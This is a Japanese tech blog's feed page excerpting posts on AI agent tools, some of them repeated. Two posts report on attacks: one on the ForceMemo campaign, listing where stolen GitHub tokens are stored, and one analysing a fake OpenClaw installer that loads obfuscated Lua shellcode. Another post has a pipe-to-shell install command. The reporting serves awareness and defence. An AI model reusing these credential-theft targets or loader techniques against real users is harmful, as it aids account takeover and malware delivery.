Github on hdknr blog

AutoAgent

Mon, 06 Apr 2026 00:00:00 +0000

AI エージェントのハーネスを AI 自身が自律的に改善する Python 製 OSS ライブラリ

AutoAgent — AIがAIを育てる自己改善エージェントOSSライブラリ

Sun, 05 Apr 2026 00:00:00 +0000

AutoAgent は AI エージェントのハーネス（プロンプト・ツール・オーケストレーション）を AI 自身が自律的に改善する Python 製 OSS ライブラリ。24時間の最適化で SpreadsheetBench・TerminalBench 世界1位を達成。

MiroFish その後: 3週間で GitHub Star 4.7万超へ — コミュニティの広がりと今後の展望

Tue, 31 Mar 2026 00:00:00 +0000

AI 予測エンジン MiroFish が公開3週間で GitHub Star 4.7万超に急成長。オフライン版やデモサイトなどコミュニティの展開と、群体知能アプローチの可能性を追う。

Claude Codeベストプラクティス疲れに終止符 — claude-code-best-practiceリポジトリ一本で運用する方法

Mon, 30 Mar 2026 00:00:00 +0000

Claude Codeのベストプラクティスが毎日TLに流れてくる。追いかけるのに疲れた人向けに、1つのリポジトリだけをフォローして運用する方法を紹介する。

ベストプラクティス疲れという問題

Claude Codeの普及に伴い、SNS上には日々さまざまなベストプラクティスやTipsが投稿されている。しかし、情報が断片的で、どれを採用すべきか判断するだけでも消耗する。

結論として、ベストプラクティスを追うことに時間を費やすより、具体的な仕組みの実装に時間を割いた方が生産的だ。

claude-code-best-practiceリポジトリとは

shanraisshan/claude-code-best-practice は、Claude Codeの設計や運用に関するベストプラクティスを体系的にまとめたリポジトリだ。

GitHub Star数: 約24,800（2026年3月時点）
海外コミュニティで広く参照されている
設計思想から具体的な設定まで、日々更新されている
日本のSNSでバズるClaude Code Tipsも、元ネタはこのリポジトリ周辺であることが多い

導入手順

やることは2ステップだけ。

Step 1: リポジトリをクローン

1

git clone https://github.com/shanraisshan/claude-code-best-practice.git

Step 2: Claude Codeにプロジェクト固有のベストプラクティスを提案させる

自分のプロジェクトディレクトリでClaude Codeを起動し、以下のように依頼する:

このリポジトリ（claude-code-best-practice）を参考に、
うちのプロジェクトに合ったベストプラクティスを提案して

Claude Codeがプロジェクトの構成を読み取り、適切なCLAUDE.mdの設定やSkills、エージェント構成を提案してくれる。

startup hookで常に最新化する

クローンしたリポジトリは時間とともに古くなる。Claude Codeの SessionStart hook（セッション開始時に自動実行される仕組み）に git pull を設定しておけば、起動のたびに自動で最新化される。

Claude Codeのユーザー設定ファイル（~/.claude/settings.json）に以下を追加する:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


{
 "hooks": {
 "SessionStart": [
 {
 "type": "command",
 "command": "cd /path/to/claude-code-best-practice && git pull --quiet",
 "timeout": 10000
 }
 ]
 }
}

/path/to/ の部分は、Step 1でクローンした実際のパスに置き換えること。

opencli-rs: Rust製の爆速Webスクレイピングツールで55以上のサイトをCLI化する

Fri, 27 Mar 2026 00:00:00 +0000

opencli-rs は、55以上の主要サイトに対応したRust製のCLIツールです。サイトごとにAPIやスクレイピング方法が異なる煩雑さを解消し、1つのコマンドで各プラットフォームの情報を取得できます。

opencli-rs とは

opencli-rs は、元々TypeScriptで実装されていた OpenCLI をRustで完全に書き直したツールです。X (Twitter)、YouTube、Reddit、Hacker News、Bilibili、Zhihu、Xiaohongshu（小紅書）など多数のプラットフォームに対応しています。Chromeのログインセッションを再利用するため、APIキーなしでデータを取得できます。

出力形式はテーブル、JSON、YAML、CSV、Markdownに対応しており、用途に応じて使い分けが可能です。また、Electronベースのデスクトップアプリをコマンドラインから制御する機能も備えており、GUIアプリの操作をスクリプト化できます。

主な特徴

処理速度が最大12倍に向上 — TypeScript版と比較して大幅な高速化（例: Bilibili Hot の取得が20.1秒から1.66秒に）
メモリ使用量を10分の1に削減 — 95-99MBから9-15MBへ
シングルバイナリで動作 — わずか4.7MB、追加のランタイム不要でどの環境にも導入可能

インストール

インストールスクリプトが用意されており、システムとアーキテクチャを自動検出してバイナリをダウンロードします。

1

curl -fsSL https://raw.githubusercontent.com/nashsu/opencli-rs/main/scripts/install.sh | sh

Rustの開発環境がある場合はソースからビルドすることもできます。

1
2
3


git clone https://github.com/nashsu/opencli-rs.git
cd opencli-rs
cargo build --release

AIエージェントとの連携

opencli-rs はAIエージェントとの連携を前提に設計されています。Claude Code や Cursor などに組み込むことで、「Hacker Newsのトップ記事を取得して要約する」「競合のX投稿を定期的にチェックする」といったWeb情報収集の自動化が可能です。

AIエージェント向けのスキルパッケージ opencli-rs-skill も提供されています。

1

npx skills add https://github.com/nashsu/opencli-rs-skill

これにより、AIエージェントが AGENT.md や .cursorrules の設定を通じて利用可能なツールを自動的に検出し、自然言語でWebスクレイピングを実行できるようになります。

Dexter: 約200行で動く自律型金融リサーチエージェント

Thu, 26 Mar 2026 00:00:00 +0000

約200行のTypeScriptで動くオープンソースの金融リサーチAIエージェント Dexter の仕組み、アーキテクチャ、始め方を解説

autoresearch：Karpathyが公開した「寝ている間にAIが100実験を自律実行する」630行のスクリプト

Mon, 23 Mar 2026 00:00:00 +0000

OpenAI初期メンバーであるAndrej Karpathyが、autoresearchというオープンソースツールを公開しました。わずか630行のPythonスクリプトで、寝ている間にAIエージェントが約100の機械学習実験を自律的に実行してくれるというものです。

Karpathy「12月からコードを1行も書いていない」

Karpathyは「12月から自分でコードを1行も書いていない」と告白しています。代わりに公開したのがこのautoresearchで、プログラマーの仕事が「コードを書く」から「設計する」へとシフトしていることを象徴しています。

autoresearchの仕組み

autoresearchはシンプルな仕組みで動作します:

AIエージェントにトレーニングスクリプトと固定の計算バジェット（通常5分間のGPU時間）を渡す
エージェントが自分のソースコードを読み、改善の仮説を立てる
コードを修正し、実験を実行する
結果が改善されたかを評価し、改善なら保持・悪化なら破棄する
このサイクルを繰り返す

トレーニングは常に5分間で実行されるため、1時間あたり約12実験、一晩で約100実験が自動的に回ります。

実績と反響

Shopify CEO Tobias Lütke: 一晩で37実験を実行し、性能19%向上を達成
Karpathy自身: 700以上の実験を2日間で実行（Fortune誌報道）
GitHub: 公開1週間で数万スターを獲得（現在54,000以上）

技術的特徴

シングルGPU対応: 高価なクラスタは不要
630行のスクリプト: コードベースが小さく、理解・カスタマイズが容易
MITライセンス: 誰でも自由に利用可能
Python製: train.py を中心としたシンプルな構成

リポジトリ

GitHub: karpathy/autoresearch

「書く」から「設計する」への転換

autoresearchが示唆しているのは、世界最高峰のプログラマーの仕事が「AIにコードを書かせる」段階をすでに超え、AIエージェントに実験を設計・実行させるフェーズに入っているということです。Karpathyは将来的に、エージェント群が協調して小さなモデルをチューニングし、有望なアイデアを段階的にスケールアップさせる「研究コミュニティのエミュレーション」を構想しています。

ForceMemo: GitHub アカウントを乗っ取り Python リポジトリにバックドアを仕込む新型攻撃

Thu, 19 Mar 2026 00:00:00 +0000

2026年3月上旬から、GitHub アカウントを侵害して Python リポジトリに悪意あるコードを注入する「ForceMemo」と呼ばれる大規模攻撃キャンペーンが確認されています。force-push によるコミット履歴の書き換えと、Solana ブロックチェーンを利用した C2（Command and Control: 攻撃者がマルウェアに指令を送る仕組み）通信という巧妙な手法が特徴です。

攻撃の概要

ForceMemo は、以下の流れで Python プロジェクトを侵害します:

GitHub アカウントの侵害 — GlassWorm と呼ばれる情報窃取マルウェアが VS Code / Cursor 拡張機能から GitHub トークンを抽出
コードの改ざん — 侵害したアカウントで setup.py、main.py、app.py、manage.py 等に難読化されたマルウェアを注入
痕跡の隠蔽 — force-push でコミット履歴を書き換え、タイムスタンプを維持することで改ざんを検知困難に
C2 通信 — Solana ブロックチェーンのメモ機能を使ったコマンド＆コントロール通信

GlassWorm による初期侵入

攻撃の起点となる GlassWorm は情報窃取型マルウェアで、VS Code および Cursor の拡張機能を経由して感染します。窃取対象となる GitHub トークンの格納先は多岐にわたります:

VS Code / Cursor 拡張機能のストレージ
git credential fill の出力
~/.git-credentials ファイル
GITHUB_TOKEN 環境変数

窃取されたトークンを使って正規のアカウントとしてリポジトリにアクセスし、コードを改ざんします。

force-push による履歴改ざん

通常のコミットであれば git log で変更履歴を追跡できますが、ForceMemo は force-push を使ってコミット履歴自体を書き換えます。さらにタイムスタンプも維持するため、リポジトリのメンテナーやユーザーが改ざんに気づきにくい構造になっています。

agent-skill-bus: AIエージェントのスキル劣化を自動検知・修復するOSSランタイム

Wed, 18 Mar 2026 00:00:00 +0000

42体のAIエージェント運用から生まれたOSS agent-skill-bus の紹介。スキルの劣化検知、DAGベースのタスクキュー、自己改善ループの3モジュール構成で、エージェントスキルの健全性を自動管理する。

OpenDataLoader PDF — CPUだけで毎秒100ページ、PDFをMarkdownに超高速変換するOSSツール

Wed, 18 Mar 2026 00:00:00 +0000

GPUなしで毎秒100ページ以上のPDF→Markdown変換を実現するオープンソースツール「OpenDataLoader PDF」が話題になっている。Apache 2.0ライセンスで完全無料、CPUのみで動作するため、高価なGPUハードウェアは不要だ。

OpenDataLoader PDF とは

OpenDataLoader PDF は、PDFドキュメントをAI活用に適した構造化データ（Markdown、JSON、HTML等）に変換するオープンソースのパーサーだ。Java で実装されており、Python・Node.js・Java から利用できる。

主な特徴:

超高速処理: ローカルモードで 0.05秒/ページ（CPUのみ）、8コア以上のマシンでマルチプロセスバッチ処理すると毎秒100ページ以上
GPU不要: CPUだけで高速に動作するため、導入コストが低い
高精度: ベンチマークで総合精度0.90を達成し、読み順・テーブル・見出し抽出で1位
Apache 2.0ライセンス: 商用利用可能な完全オープンソース

インストール

Python パッケージは Java CLI のラッパーのため、Java 11以上とPython 3.10以上が必要だ。

1
2
3
4
5


# Python
pip install -U opendataloader-pdf

# Node.js
npm install @opendataloader/pdf

Java の場合は Maven で opendataloader-pdf-core を依存関係に追加する。

基本的な使い方

Python でのシンプルな変換

1
2
3
4
5
6
7


import opendataloader_pdf

opendataloader_pdf.convert(
 input_path=["file1.pdf", "file2.pdf", "folder/"],
 output_dir="output/",
 format="markdown,json"
)

フォルダを指定すれば一括変換も可能だ。出力形式は Markdown、JSON、HTML、プレーンテキスト、注釈付きPDFから選べる。

OpenClawスキルの厳選コレクション — AIエージェントを即戦力にするスキル集

Sun, 15 Mar 2026 00:00:00 +0000

OpenClawのスキルエコシステムが急速に拡大しています。公式レジストリ「ClawHub」には13,000以上のコミュニティ製スキルが登録されていますが、その中から厳選・カテゴリ整理されたコレクションが公開され、注目を集めています。

OpenClawスキルとは

OpenClawはローカルで動作するAIアシスタントです。「スキル」は外部サービスとの連携やワークフローの自動化を実現する拡張機能で、インストールするだけでエージェントの能力を大幅に拡張できます。

注目のスキルコレクション

awesome-openclaw-skills（VoltAgent）

VoltAgent/awesome-openclaw-skills は、ClawHubの13,729スキルからスパム・重複・低品質なものを除外し、5,366スキルを厳選したAwesomeリストです。GitHub スター数は37,000超。

主なカテゴリ:

カテゴリ	スキル数
Coding Agents & IDEs	1,222
Web & Frontend Development	938
DevOps & Cloud	409
Search & Research	352
Browser & Automation	335
Productivity & Tasks	206
AI & LLMs	197
Git & GitHub	170

openclaw-master-skills（LeoYeAI）

LeoYeAI/openclaw-master-skills は、MyClaw.aiが毎週更新する339+スキルの厳選コレクションです。AI、生産性、開発、マーケティング、金融など幅広いカテゴリをカバーしています。

カテゴリ別おすすめスキル

AIツール連携

Slack: リアルタイムメッセージの送受信、チャンネル管理
Notion: ページの同期・ナレッジ管理
Outlook: メール操作・カレンダー連携
Linear / Trello: タスク管理・プロジェクト進捗の追跡
1Password: シークレット管理・セキュリティ連携

DevOps自動化

Docker: コンテナのビルド・管理・デプロイ
Git: ブランチ管理、コミット履歴の操作
GitHub CLI: Issue・PR の操作、リリース管理
n8n: ワークフロー自動化
Expo CI/CD: モバイルアプリのビルド・デプロイ

Web自動化

Playwright: フォーム入力、データ抽出、ブラウザ操作
AIによるWebタスクの自動化

生産性向上

Todoist / Things 3: タスク管理
カレンダー同期
ドキュメント処理

開発パターン

Next.js: 実装パターン
React: 状態管理
Node.js: バックエンドパターン
REST / GraphQL: API設計
SQL: データベース操作

スキルのインストール方法

ClawHub CLIを使ったインストール:

Microsoft Agent Governance Toolkit：AIエージェントのセキュリティを4つの柱で守るOSSツールキット

Sat, 14 Mar 2026 00:00:00 +0000

Microsoft がオープンソースで公開した Agent Governance Toolkit は、自律型 AI エージェントに欠けていたセキュリティレイヤーを提供するツールキットだ。ポリシー強制、ゼロトラスト ID、実行サンドボックス、信頼性エンジニアリングの4つの柱で、OWASP Agentic Top 10 の全10項目のリスクをカバーする。

背景：なぜ AI エージェントにガバナンスが必要か

AI エージェントが自律的にツールを呼び出し、ファイルを操作し、外部 API と通信する時代になった。しかし、その自律性にはリスクが伴う。意図しないゴールの書き換え、過剰な権限の付与、エージェント間通信の改ざん、カスケード障害など、従来の Web アプリケーションとは異なるセキュリティ課題がある。

OWASP は「Agentic Top 10」として AI エージェント特有のリスクを定義しており、Agent Governance Toolkit はこの全10項目に対応している。

4つの柱

1. Policy Engine（ポリシーエンジン）

すべてのエージェントアクションを実行前に評価し、許可・拒否を判定する。サブミリ秒（0.1ms 未満）のレイテンシで動作するため、エージェントの応答速度に影響を与えない。

1
2
3
4
5
6


from agent_governance_toolkit import CapabilityModel

capabilities = CapabilityModel(
 allowed_tools=["web_search", "file_read"],
 denied_tools=["file_write", "shell_exec"]
)

許可するツールと拒否するツールを明示的に定義し、エージェントが意図しない操作を行うことを防ぐ。

OpenClaw で保有銘柄の情報収集を完全自動化する — 決算通知・株価アラート・ニュース収集の実装例

Thu, 12 Mar 2026 00:00:00 +0000

オープンソースの AI エージェント基盤 OpenClaw を使って、保有銘柄の株価アラート・決算通知・ニュース収集を自動化した実装事例を紹介します。Zenn の実践記事を元に、設計思想と実装パターンを整理しました。

個人投資家が抱える情報収集の課題

趣味で株式投資をしていると、以下の問題に直面します。

受動的な情報取得 — 自分で証券アプリを開いて確認する必要があり、変動への気付きが遅れる
情報の分散 — 株価、ニュース、決算情報が異なるサービスに散在
文脈の欠如 — 「株価が3%下がった」という事実だけでは理由がわからない
手動メンテナンス — 新規銘柄追加時に各サービスへの個別登録が必要

なぜ OpenClaw が向いているか

OpenClaw は Peter Steinberger 氏が開発したオープンソースの AI エージェント基盤です。以下の特徴が情報収集の自動化に適しています。

常時起動・定期実行 — クラウド上で 24 時間稼働し、cron スケジューラーで定期タスクを実行できる
LLM による文脈理解 — 単純なアラートと異なり、「何が起きたか」だけでなく「なぜ起きたか」まで Web 検索で調べて報告できる
柔軟な報告内容 — 自然言語でプロンプトに指示を書くだけで報告フォーマットをカスタマイズできる

アーキテクチャ全体像

設計の核は Single Source of Truth（信頼できる唯一の情報源） です。

Google スプレッドシート（マスターデータ）
↓ portfolio-sync（毎日 6:20）
portfolio.json ─→ interests.json
↓ ↓
株価アラート ニュース収集
決算通知 週次レポート

銘柄追加・削除時はスプレッドシートを更新するだけで、下流の全システム（ニュース収集、アラート、レポート）に自動反映されます。

cron ジョブ一覧

時刻	ジョブ	内容
6:20	portfolio-sync	スプレッドシート → portfolio.json 同期
毎時:30	news-auto-collect	保有銘柄関連ニュースを自動収集
7:00	morning-start	翌日決算があれば通知
10:00	portfolio-alert-am	3%以上変動でアラート
14:30	portfolio-alert-pm	3%以上変動でアラート
17:00	earnings-report	当日決算発表の結果報告
土曜 10:00	weekly-portfolio-image	週次損益レポート画像

実装パターン

1. マスターデータ管理

Google スプレッドシートに以下のカラムを用意します。

GitHub で見つけた「便利ツール」を解析したらマルウェアだった話：偽 OpenClaw インストーラーの実態

Wed, 11 Mar 2026 00:00:00 +0000

GitHub 上で OpenClaw の便利ツールを装った不審なリポジトリが発見され、実際に解析したところマルウェア（シェルコードローダー）であることが判明した。ひよっこサウナ氏（@hiyoko_sauna）による詳細な解析レポートを基に、この攻撃手法の全体像を紹介する。

対象リポジトリの特徴

github.com/sdwadsagw/OpenClawInstaller という、「Open Claw を簡単にインストールできるツール」として公開されていたリポジトリが対象だ。

項目	値
アカウント作成日	2026-02-11（リポジトリと同日作成）
Star / Fork	2 / 0
説明文	「AI assistant for Open Claw」

使い捨てアカウント（リポジトリと同日作成）という時点で怪しさ満点だ。

ZIP の中身

Claw-Installer-Open-2.8-alpha.3.zip を展開すると 4 ファイルが入っていた。

ファイル	サイズ	VT 検出率	説明
StartApp.bat	22 bytes	-	`start luau.exe asm.txt` を実行するだけ
luau.exe	288,768 bytes	25/76	LuaJIT 2.1.0-beta3（正規バイナリ）
lua51.dll	390,144 bytes	1/75	LuaJIT 用ランタイム DLL
asm.txt	309,298 bytes	0/76	難読化された Lua スクリプト

注目すべきは asm.txt の検出率が 0/76 という点だ。悪意のあるコードは asm.txt に書かれているのに検出されず、無害な luau.exe の方が検出されるという逆転現象が起きている。

VS Code AI コーディングアシスタントのインストール数推移：GitHub Copilot の急落と競合の台頭

Wed, 11 Mar 2026 00:00:00 +0000

VS Code マーケットプレイスにおける AI コーディングアシスタントの日次インストール数を示すグラフが話題になっている。GitHub Copilot のインストール数が急激に落ち込む「崖」が鮮明に表れており、SaaS 事業者やプロダクトマネージャーにとって示唆に富む内容だ。

グラフが示すもの

「Daily Install Counts of AI Coding Assistants in Visual Studio Code」と題されたグラフには、以下の 3 つの AI コーディングアシスタントの日次インストール数（30日移動平均）が描かれている。

GitHub Copilot（オレンジ）：2021年末から着実に成長し、2025年後半には日次 150,000 インストール近くまで到達。しかし 2026年に入って急落し、現在は 60,000 前後まで落ち込んでいる
Claude Code（シアン）：2025年後半に登場し、直近で急速に伸長。日次 60,000 近くまで上昇
OpenAI Codex（イエロー）：同じく直近で伸びを見せているが、Claude Code よりやや控えめ

注目すべきは、GitHub Copilot のインストール数がピークから半分以下に急落している点だ。この「崖」は、競合の台頭と GitHub Copilot 自体の変化の両方が要因と考えられる。

急落の背景

GitHub Copilot の課金モデル変更

GitHub Copilot は 2024年12月に無料ティアを導入し、月 2,000 回のコード補完と 50 回のチャットリクエストという制限付きで提供を開始した。同時に、有料プランの価格体系も複雑化している。

Free：月 2,000 補完 / 50 チャット
Pro：$10/月
Pro+：$39/月
Business：$19/ユーザー/月
Enterprise：$39/ユーザー/月

無料ティアの導入は新規ユーザー獲得を狙った施策だが、既存の有料ユーザーが無料枠で十分と判断して解約するケースもあり得る。また、Microsoft は従来の IntelliCode を廃止し、AI 支援を Copilot に一本化する戦略を取っている。

Claude Code Review — エージェントチームが PR のバグを狩る新機能

Tue, 10 Mar 2026 00:00:00 +0000

Anthropic が Claude Code の新機能「Code Review」を発表した。PR が開かれると、複数のエージェントがチームとして並列にコードレビューを実行し、人間が見落としがちなバグを検出する。開発者の Boris Cherny 氏（@bcherny）は「数週間使って、自分では気づかなかった本物のバグを何度も見つけてくれた」と報告している。

仕組み

PR がオープンされると、Code Review は以下のステップを実行する:

エージェントチームの派遣 — 複数のエージェントが並列に動き、それぞれ異なるクラスの問題（ロジックエラー、セキュリティ脆弱性、コード品質など）を探す
検証フェーズ — 候補として検出された問題を実際のコード挙動と照合し、偽陽性をフィルタリングする
深刻度ランキング — 検出された問題を重要度順に並べる
レビューコメント投稿 — PR に対してサマリーコメント 1 件と、具体的な問題箇所へのインラインコメントを投稿する

レビューの深さは PR の規模と複雑さに応じてスケールする。大きく複雑な変更にはより多くのエージェントが投入される。

検出精度

Anthropic 社内でのテスト結果:

PR サイズ	指摘ありの割合	平均指摘数
大規模（1,000行以上）	84%	7.5件
小規模（50行未満）	31%	0.5件

特筆すべきは誤検出率が 1% 未満という点だ。エンジニアが「この指摘は間違い」と判定したケースがほとんどなく、検証フェーズによる偽陽性フィルタリングが効果的に機能していることを示している。

なぜ必要なのか

Cherny 氏によれば、Anthropic のエンジニア一人あたりのコード出力は 2026 年に入って 200% 増加した。AI コーディングエージェントによってコード生成が加速する一方で、レビューがボトルネックになっていた。人間のレビュアーが処理できる量には限界があり、AI が書いたコードも人間が書いたコードも、同じ品質基準でレビューする必要がある。

Code Review はこの問題に対する Anthropic 自身の解答だ。まず社内で使い、効果を確認した上で外部に公開している。

利用条件

対象プラン: Team / Enterprise（Research Preview）
料金: トークン使用量に基づく従量課金。PR サイズと複雑さに応じて平均 $15〜25
レビュー時間: 約 20 分
セットアップ: 管理者が GitHub App をインストールし、対象リポジトリを選択。開発者側の追加設定は不要

組織レベルでの月間支出上限、リポジトリ単位の有効化制御、レビュー受け入れ率の分析ダッシュボードも用意されている。

Claude Code Review — エージェントチームが PR のバグを狩る新機能

Tue, 10 Mar 2026 00:00:00 +0000

仕組み

PR がオープンされると、Code Review は以下のステップを実行する:

エージェントチームの派遣 — 複数のエージェントが並列に動き、それぞれ異なるクラスの問題（ロジックエラー、セキュリティ脆弱性、コード品質など）を探す
検証フェーズ — 候補として検出された問題を実際のコード挙動と照合し、偽陽性をフィルタリングする
深刻度ランキング — 検出された問題を重要度順に並べる
レビューコメント投稿 — PR に対してサマリーコメント 1 件と、具体的な問題箇所へのインラインコメントを投稿する

レビューの深さは PR の規模と複雑さに応じてスケールする。大きく複雑な変更にはより多くのエージェントが投入される。

検出精度

Anthropic 社内でのテスト結果:

PR サイズ	指摘ありの割合	平均指摘数
大規模（1,000行以上）	84%	7.5件
小規模（50行未満）	31%	0.5件

なぜ必要なのか

Code Review はこの問題に対する Anthropic 自身の解答だ。まず社内で使い、効果を確認した上で外部に公開している。

利用条件

対象プラン: Team / Enterprise（Research Preview）
料金: トークン使用量に基づく従量課金。PR サイズと複雑さに応じて平均 $15〜25
レビュー時間: 約 20 分
セットアップ: 管理者が GitHub App をインストールし、対象リポジトリを選択。開発者側の追加設定は不要

組織レベルでの月間支出上限、リポジトリ単位の有効化制御、レビュー受け入れ率の分析ダッシュボードも用意されている。

MiroFish — 20歳の学生が10日間の Vibe Coding で作った AI 未来予測エンジンが GitHub Trending 1位に

Tue, 10 Mar 2026 00:00:00 +0000

20歳の中国の大学4年生・郭航江（Guo Hangjiang）氏が、わずか10日間の Vibe Coding で開発した OSS「MiroFish」が GitHub Trending で3日連続1位を獲得し、Star 数は約 11,000 を超えて急増中です。さらに、盛大グループ創業者の陳天橋氏がデモを見て24時間以内に3,000万元（約6.9億円）の即決投資を行ったと報じられています。

MiroFish とは

MiroFish は、マルチエージェント技術を活用した次世代の AI 予測エンジンです。ニュース・政策・金融データなどのテキストを投入すると、AI が数千の人格を持つエージェントを生成し、エージェント同士が相互作用することで未来の社会・市場の動きをシミュレートします。

公式の説明では「A Simple and Universal Swarm Intelligence Engine, Predicting Anything（簡潔で汎用的な群体知能エンジン、万物を予測）」とされています。

仕組み

MiroFish の動作は以下のステップで構成されます。

シード情報の抽出 — ニュース速報、政策草案、金融シグナルなどの現実世界のデータを取り込む
デジタルワールドの構築 — 取り込んだ情報から高忠実度な並行デジタル世界を自動構築
エージェントの生成 — 独立した人格、長期記憶、行動ロジックを持つ数千〜数万のエージェントを生成
社会進化シミュレーション — エージェント同士が自由に相互作用し、社会的進化を遂げる
変数注入と予測 — ユーザーが動的に変数を注入し、未来がどう展開するかの精密なシミュレーションを実行

想定される活用シナリオ

金融意思決定支援 — 市場動向の予測と投資判断
政策・世論予測 — 政策変更がもたらす社会的影響の分析
PR 危機シミュレーション — 企業の危機管理対応の事前検証
マーケティング戦略テスト — キャンペーン効果の事前予測
ストーリー・フィクション推演 — 物語の展開シミュレーション
学術研究支援 — 社会科学的仮説の検証

Vibe Coding で10日間

注目すべきは、MiroFish が Claude Code などの AI コーディングツールを活用した「Vibe Coding」で開発されたという点です。Vibe Coding とは、AI エージェントと対話しながら直感的にコードを生成していく開発手法で、従来の開発と比較して大幅な時間短縮が可能です。

「研究コミュニティをまるごとエミュレートせよ」— Karpathy が示す AI エージェント協調の未来

Mon, 09 Mar 2026 00:00:00 +0000

Andrej Karpathy が autoresearch を公開した直後、さらに踏み込んだビジョンを示した。「次のステップは、エージェント同士が非同期かつ大規模に協調する仕組みだ」— 単一エージェントの能力向上ではなく、エージェント群の協調システム設計こそが本質だという主張だ。

「一人の博士課程ではなく、研究コミュニティを」

The goal is not to emulate a single PhD student, it’s to emulate a research community of them. （目標は一人の博士課程の学生をエミュレートすることではない。研究コミュニティをまるごとエミュレートすることだ。）

現在の autoresearch はコミットを同期的に一本のスレッドで積み上げていく設計だ。だが Karpathy が構想するのは、リポジトリを「種」として無数のエージェントがそこから枝分かれし、異なる研究方向に並列で進んでいく世界だ。SETI@home のような分散コンピューティングモデルを研究に適用するイメージだと言える。

技術的な課題

この構想が実現するには、いくつかのハードルがある:

分散タスクシャーディング — 実験をどう分割して割り当てるか
結果の重複排除 — 同じ仮説を複数エージェントが試す無駄をどう防ぐか
クロスエージェントメモリ — あるエージェントの発見を他のエージェントが活用できる仕組み
Git の限界 — 「一本の master ブランチ + 一時的な PR」という既存の Git モデルでは、エージェントが数千のコミットを並列に管理する構造に対応しきれない

Karpathy 自身も、Discussions や PR を使ったエージェント間の知見共有を軽量にプロトタイピングしたと述べている。

「一つを賢くする」から「場の設計」へ

IT navi 氏（@itnavi2022）は、この動きを端的にこう要約している:

AI が一人の研究者を代替するのではなく、無数のエージェントが並列に仮説を試し、成果や失敗を持ち寄りながら、ひとつの研究コミュニティのように知を前進させる未来だ。問題は、一つのエージェントを賢くすることではなく、無数のエージェントが枝分かれしながら知見を蓄積する場をどう設計するかに移りつつある。

これは AI エージェント開発における重要なパラダイムシフトだ。これまでの議論は「いかにモデルを賢くするか」「いかにプロンプトを最適化するか」に集中していた。だが autoresearch が示す方向は、個のエージェントの能力向上よりも、エージェント群の協調システム設計に重心が移りつつあるということだ。

Karpathy の言葉を借りれば、エージェントの「知性、注意力、粘り強さがボトルネックでなくなった」とき、既存の開発抽象（Git、CI/CD、コードレビュー）にますます圧力がかかる。

「研究コミュニティをまるごとエミュレートせよ」— Karpathy が示す AI エージェント協調の未来

Mon, 09 Mar 2026 00:00:00 +0000

「一人の博士課程ではなく、研究コミュニティを」

The goal is not to emulate a single PhD student, it’s to emulate a research community of them. （目標は一人の博士課程の学生をエミュレートすることではない。研究コミュニティをまるごとエミュレートすることだ。）

技術的な課題

この構想が実現するには、いくつかのハードルがある:

分散タスクシャーディング — 実験をどう分割して割り当てるか
結果の重複排除 — 同じ仮説を複数エージェントが試す無駄をどう防ぐか
クロスエージェントメモリ — あるエージェントの発見を他のエージェントが活用できる仕組み
Git の限界 — 「一本の master ブランチ + 一時的な PR」という既存の Git モデルでは、エージェントが数千のコミットを並列に管理する構造に対応しきれない

Karpathy 自身も、Discussions や PR を使ったエージェント間の知見共有を軽量にプロトタイピングしたと述べている。

「一つを賢くする」から「場の設計」へ

IT navi 氏（@itnavi2022）は、この動きを端的にこう要約している:

AI が一人の研究者を代替するのではなく、無数のエージェントが並列に仮説を試し、成果や失敗を持ち寄りながら、ひとつの研究コミュニティのように知を前進させる未来だ。問題は、一つのエージェントを賢くすることではなく、無数のエージェントが枝分かれしながら知見を蓄積する場をどう設計するかに移りつつある。

AI Agent に品質を担保させる — QA 手法の実践ガイド

Mon, 09 Mar 2026 00:00:00 +0000

Claude Code や Cursor、Devin といった AI コーディングエージェントの導入が進むなか、「品質をどう担保するか」が最大の課題になっている。栗田氏（@hikarine3）が公開した実践ガイドから、要点を紹介する。

Sonar の調査によれば、開発者の 96% が AI 生成コードを完全には信頼していないにもかかわらず、実際に検証しているのは 48% に過ぎない。この「検証ギャップ」が AI 開発における最大のリスクだ。

1. 設定ファイルにルールを書く

CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。

ルール	防げる事故
テスト結果を「○件中○件が正常」形式で報告	0 件検出の見落とし
影響範囲を確認	1 ファイル修正で他が壊れる
ファイル削除・本番デプロイ・DB 操作は承認必須	取り返しのつかないミス

設定ファイルは 50 行以内 を推奨。IFScale の研究では、指示が長すぎると AI が先頭と末尾だけに従う傾向がある。詳細は別ファイルへの参照（ポインタ設計）で対応する。

2. リスクレベルで使い分ける

すべてのプロジェクトに同じ品質基準を適用する必要はない。

レベル	対象	テスト深度
ラフ	静的サイト、ブログ	目視確認
標準	Web アプリ（ユーザーデータあり）	回帰テスト
厳密	金融・決済・認証・個人情報	境界値・異常系テスト

3. AI にテスト設計もさせる

従来のように 12 項目のチェックリストを人間が作るのではなく、「この変更の回帰テストをして。検出件数も報告して」と指示するだけで、AI がテストケースの設計・実行・報告まで行える。

4. AI のテストが「嘘」になる 10 パターン

AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴:

AI Agent に品質を担保させる — QA 手法の実践ガイド

Mon, 09 Mar 2026 00:00:00 +0000

1. 設定ファイルにルールを書く

CLAUDE.md や .cursorrules 等の設定ファイルに、最低限 3 つのルールを書くだけで事故を大幅に減らせる。

ルール	防げる事故
テスト結果を「○件中○件が正常」形式で報告	0 件検出の見落とし
影響範囲を確認	1 ファイル修正で他が壊れる
ファイル削除・本番デプロイ・DB 操作は承認必須	取り返しのつかないミス

2. リスクレベルで使い分ける

すべてのプロジェクトに同じ品質基準を適用する必要はない。

レベル	対象	テスト深度
ラフ	静的サイト、ブログ	目視確認
標準	Web アプリ（ユーザーデータあり）	回帰テスト
厳密	金融・決済・認証・個人情報	境界値・異常系テスト

3. AI にテスト設計もさせる

4. AI のテストが「嘘」になる 10 パターン

AI エージェントが出す「全件正常です」を鵜呑みにしてはいけない。代表的な落とし穴:

Harness Engineering ベストプラクティス 2026 — AI コーディングエージェントを安定稼働させる設計術

Mon, 09 Mar 2026 00:00:00 +0000

Claude Code や Codex といった AI コーディングエージェントを現場に投入する開発者が増えるなか、「ハーネスエンジニアリング」という新しい実践領域が注目を集めている。逆瀬川氏（@gyakuse）が公開したまとめ記事から、要点を紹介する。

そもそも「ハーネス」とは何か

「ハーネス（harness）」とは、もともと馬具の意味だ。馬の力を人間が制御して活かすための装具一式 — 手綱、鞍、轡（くつわ）などを指す。馬がどれだけ優秀でも、ハーネスなしでは暴走するだけで仕事にならない。

